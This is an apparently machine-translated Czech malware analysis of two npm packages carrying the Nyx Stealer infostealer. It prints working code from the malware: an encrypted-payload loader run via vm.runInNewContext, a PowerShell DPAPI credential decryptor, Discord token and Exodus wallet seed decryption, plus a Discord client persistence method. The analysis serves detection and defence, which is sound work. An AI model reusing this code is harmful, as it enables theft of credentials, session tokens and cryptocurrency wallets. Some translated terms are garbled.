TL, DR
Tým bezpečnostního výzkumu Xygeni identifikoval sofistikovanou kampaň krádeže informací NPM spuštěnou prostřednictvím dvou škodlivých balíčků: konzolelofy a selfbot-lofy.
Poslední verze (consolelofy@1.3.0) vkládá 216KB datový soubor šifrovaný pomocí AES, který se dešifruje za běhu a spouští se prostřednictvím vm.runInNewContext()Protože je škodlivá logika plně šifrovaná, statické skenery spoléhající se na kontrolu řetězců nemohou sledovat její chování až do doby spuštění.
Po dešifrování je užitečné zatížení interně označeno Zlodějka Nyx, cíle:
- Tokeny ověřování Discordu
- Více než 50 úložišť přihlašovacích údajů prohlížeče
- Více než 90 rozšíření pro kryptoměnové peněženky
- Seznamy na Robloxu, Instagramu, Spotify, Steamu, Telegramu a TikToku
- Perzistence desktopového klienta Discord
Všech 20 verzí v obou balíčcích bylo nahlášeno a potvrzeno jako škodlivé.
Technický přehled tohoto npm Infostealeru
Na rozdíl od tradičního malwaru, který se instaluje v době instalace, se tato kampaň opírá o runtime dešifrovací model.
Existují:
- Žádný škodlivý
preinstallorpostinstallhooks - Žádné zjevné síťové volání během instalace
- Žádná logika pro sběr přihlašovacích údajů v prostém textu
Datový obsah se aktivuje při importu modulu. Celé tělo škodlivého kódu je zašifrováno a v paměti se objeví až za běhu.
Tato konstrukce se konkrétně vyhýbá detekci během instalace balíčku.
Jak tento npm Infostealer ve skutečnosti funguje
Než budeme analyzovat, co Nyx Stealer krade, musíme pochopit jak se to provádí.
Škodlivá logika uvnitř tohoto npm infostealeru se řídí konzistentním vzorem:
Malý zavaděč dešifruje velký zašifrovaný datový obsah a dynamicky ho spustí v kontextu virtuálního počítače Node.js.
Tento návrh je záměrný. Útočník neskrývá funkčnost pouze za zmatkováním, ale úplné odstranění škodlivého kódu ze statické viditelnosti.
Model provádění na vysoké úrovni
Na obecné úrovni dělá obalovací modul čtyři věci:
- Odvozuje klíč AES z pevně zakódovaného hesla pomocí SHA-256.
- Dešifruje velký hexadecimálně kódovaný šifrovaný text pomocí AES-256-CBC
- Spustí dešifrovaný JavaScript pomocí
vm.runInNewContext() - Poskytuje sandbox, který stále zpřístupňuje výkonné běhové primitivy
Shrnutí základní techniky
| Složka | Konfigurace / Hodnota |
|---|---|
| Algoritmus | AES-256-CBC |
| Odvození klíče | SHA-256 (heslo) |
| Inicializační vektor (IV) | 16 bajtů 0x00 |
| Provedení | vm.runInNewContext(dešifrované, sandbox) |
Je důležité, aby sandbox procházel:
requireprocessBuffer- časovače
- export modulů
To znamená, že dešifrované datové zatížení si zachovává plnou schopnost:
- Procesy tření
- Čtení a zápis souborů
- Volání do sítě
- Úprava lokálních aplikací
Toto není omezený virtuální počítač. Je to virtuální počítač používaný jako trampolína pro provádění.
Šifrovací vzor za běhu (mechanismus spuštění jádra)
Nakladač je malý.
Zlomyslné tělo nikoli.
Níže je uveden vzor spuštění, který se nachází uvnitř balíčku:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Proč na tom záleží
Dešifrované užitečné zatížení:
- Má ne existují v prostém textu uvnitř balíčku npm
- Je neviditelné pro jednoduché
grepnebo statické skenování řetězců - Zhmotňuje se v paměti pouze za běhu
- Spouští se s plnými běhovými funkcemi Node
Tato kombinace spuštění AES + VM je silným behaviorálním indikátorem npm infostealer se pokouší vyhnout statické kontrole.
Jinými slovy:
Pokud prohledáte strom zdrojového kódu balíčků, nenajdete žádný stealer.
Vidíte dešifrovací program.
Co se stane po dešifrování
Po spuštění Nyx Stealer spustí paralelní vlny sběru dat.
Vlna 1: Extrakce přihlašovacích údajů prohlížeče
Malware:
- Stáhne běhové prostředí Pythonu z NuGet CDN
- Instaluje kryptografické knihovny
- Extrahuje úložiště přihlašovacích údajů založených na Chromu
- Dešifruje tajné kódy chráněné DPAPI
Místo kompilace nativních vazeb využívá PowerShell k přímému volání Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Tento přístup:
- Zabraňuje kompilačním artefaktům
- Používá nativní krypto API Windows
- Propojuje se s administrativními nástroji
Jde o dešifrování přihlašovacích údajů na úrovni operačního systému, nikoli o scraping.
Vlna 2: Dešifrování tokenů Discordu
Zloděj je si vědom protokolu. Rozumí šifrovanému formátu tokenu Discordu.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Provozní postup:
- Extrahujte hlavní klíč z Discordu
Local State - Dešifrovat hlavní klíč pomocí DPAPI
- Dešifrování objektů blob tokenu AES-GCM
- Ověření tokenů pomocí Discord API
- Obohaťte se o Nitro, odznaky a fakturační údaje
Nejedná se o generický dump přihlašovacích údajů. Jde o únos relace s ohledem na protokol.
Vlna 3: Cílení na kryptoměnové peněženky
NPM infostealer vyjmenovává:
- Více než 90 rozšíření pro peněženky prohlížečů
- 27 stolních peněženek
- Cesty studených peněženek
- Seed soubory Exodus
Příklad pokusu o dešifrování seed:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Pokud bude úspěšné, je kompromitace peněženky okamžitá a nevratná.
Toto představuje vektor monetizace kampaně s nejvyšší hodnotou.
Perzistence přes Discord Desktop Injection
Po získání přihlašovacích údajů se Nyx Stealer pokusí o trvalost úpravou lokálních Svár Zákazník.
Cíl:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operační sekvence
Zloděj informací provede následující kroky:
- Ukončí spuštěné procesy Discordu
- Vyhledává nainstalované varianty Discordu (Stable, Canary, PTB)
- Přepíše
discord_desktop_core/index.js - Vkládá logiku webhooku ovládanou útočníkem
- Restartuje Discord
Díky tomu budoucí relace Discordu automaticky propouštět nové autentizační tokeny.
Důležité je, že tato perzistence nezávisí na naplánovaných úlohách ani úpravách registru. Využívá úpravy kódu na úrovni aplikace, což je nenápadnější přístup.
I když je škodlivý balíček npm později odstraněn, klient Discordu zůstává napaden.
Technické srovnání: Legitimní Selfbot vs. npm Infostealer
| Složka | Legitimní knihovna | Nyx npm Infostealer |
|---|---|---|
| Šifrování | Nevyplněno | Plně šifrované AES datové zatížení |
| Běhový virtuální počítač | Nevyžaduje se | vm.runInNewContext provedení |
| Přístup k pověření | Pouze Discord API | Prohlížeč, peněženky, DPAPI |
| Externí stahování | Ne | Běhové prostředí Pythonu přes NuGet |
| Perzistence | Ne | Injekční systém klienta Discordu |
| zpeněžení | Automatizace botů | Další prodej pověření |
Už jen samotná šifrovací vrstva odděluje tuto kampaň od typického open-source forku.
Legitimní selfbot na Discordu nemá důvod šifrovat celou svou kódovou základnu, spouštět PowerShell pro přístup k DPAPI, stahovat externí běhové prostředí nebo upravovat interní funkce desktopových aplikací. Když se tyto funkce objeví uvnitř závislosti, která údajně automatizuje interakce na Discordu, architektonický nesoulad se stává nemožným ignorovat.
Z hlediska vyšetřování tento npm infostealer zanechává stopy napříč více vrstvami. Nejspolehlivějšími indikátory však nejsou pevně zakódované URL adresy ani cesty k konkrétním souborům, protože ty se mohou mezi verzemi měnit. Trvalými signály jsou naopak strukturální signály.
Na úrovni balíčku je nejsilnějším varovným signálem kombinace velkého šifrovaného datového zatížení a běhového dešifrovacího wrapperu, který se okamžitě spouští prostřednictvím vm.runInNewContext()I když šifrování samo o sobě není inherentně škodlivé, použití dešifrování AES následovaného dynamickým spuštěním virtuálního počítače v rámci balíčku utility Discord je vysoce anomální.
Na úrovni hostitele patří mezi podezřelé vzorce neočekávaná aktivita dešifrování DPAPI, spouštění procesů z kontextu závislostí Node.js a úprava lokálních souborů aplikací, které by knihovny třetích stran nikdy neměly měnit. Podobně na síťové vrstvě představuje další významnou anomálii odchozí komunikace ve stylu webhooku iniciovaná vývojovou závislostí.
Jinými slovy, detekční plocha není jediným indikátorem kompromitace. Je to korelace šifrování, běhového spouštění, přístupu k přihlašovacím údajům a chování perzistence, která odhaluje hrozbu.
Detekce a zmírňování následků pomocí Xygeni
Tento npm infostealer byl identifikován uživatelem Včasné varování před malwarem (MEW) od Xygeni prostřednictvím vrstevnaté behaviorální korelace spíše než jednoduchého porovnávání podpisů.
Místo vyhledávání známých škodlivých řetězců MEW vyhodnocuje strukturální anomálie v celém zdrojovém stromu. V tomto případě detekce vyplynula ze shody několika signálů: vložené dešifrovací rutiny AES ve vstupním bodě modulu, okamžitého spuštění v kontextu virtuálního počítače a zjevného nesouladu mezi schopností a záměrem.
Důležité je, že žádný z těchto signálů sám o sobě neprokazuje zlý úmysl. Při společné analýze však odhalují pokus o zatajení chování za běhu. Tento vrstvený přístup výrazně snižuje falešně pozitivní výsledky a zároveň identifikuje vysoce spolehlivé hrozby pro dodavatelský řetězec.
Tento případ dále ilustruje, proč samotná kontrola v době instalace nestačí. Škodlivá logika se neobsahuje ve skriptech životního cyklu. Aktivuje se až po načtení modulu a stane se viditelnou až po dešifrování v paměti. Účinná obrana proto vyžaduje analýzu s ohledem na šifrování, rozpoznávání behaviorálních vzorců a průběžné monitorování závislostí i po instalaci.
Odstranění registru je reaktivní. Analýza za běhu je preventivní.
Proč je tento npm infostealer důležitý
Nyx Stealer představuje strukturální evoluci malwaru založeného na npm.
Historicky se mnoho škodlivých balíčků spoléhalo na viditelné skripty během instalace nebo zjevné koncové body pro odcizení přihlašovacích údajů. Tato kampaň naopak šifruje svůj obsah, odkládá spuštění na běhové prostředí, využívá legitimní API operačního systému a zajišťuje perzistenci uvnitř důvěryhodných aplikací.
Útočník proto nemusí zneužívat samotnou infrastrukturu npm. Útok je naopak úspěšný, protože instalace závislostí implikuje důvěru. Vývojáři předpokládají, že import knihovny je bezpečná operace, zejména pokud se prezentuje jako věrohodný fork populárního nástroje.
S růstem ekosystémů a šířením forků se tato implicitní hranice důvěryhodnosti stává stále atraktivnějším povrchem pro útok. Proto obrana proti moderním npm infostealerům vyžaduje rozpoznávání architektonických vzorů, nikoli hledání statických řetězců.
Tato kampaň v konečném důsledku posiluje klíčové ponaučení v software supply chain securityNejnebezpečnější hrozby nejsou ty, které na první pohled vypadají škodlivě, ale ty, které se strukturálně jeví jako legitimní, dokud běh programu neodhalí jejich skutečné chování.




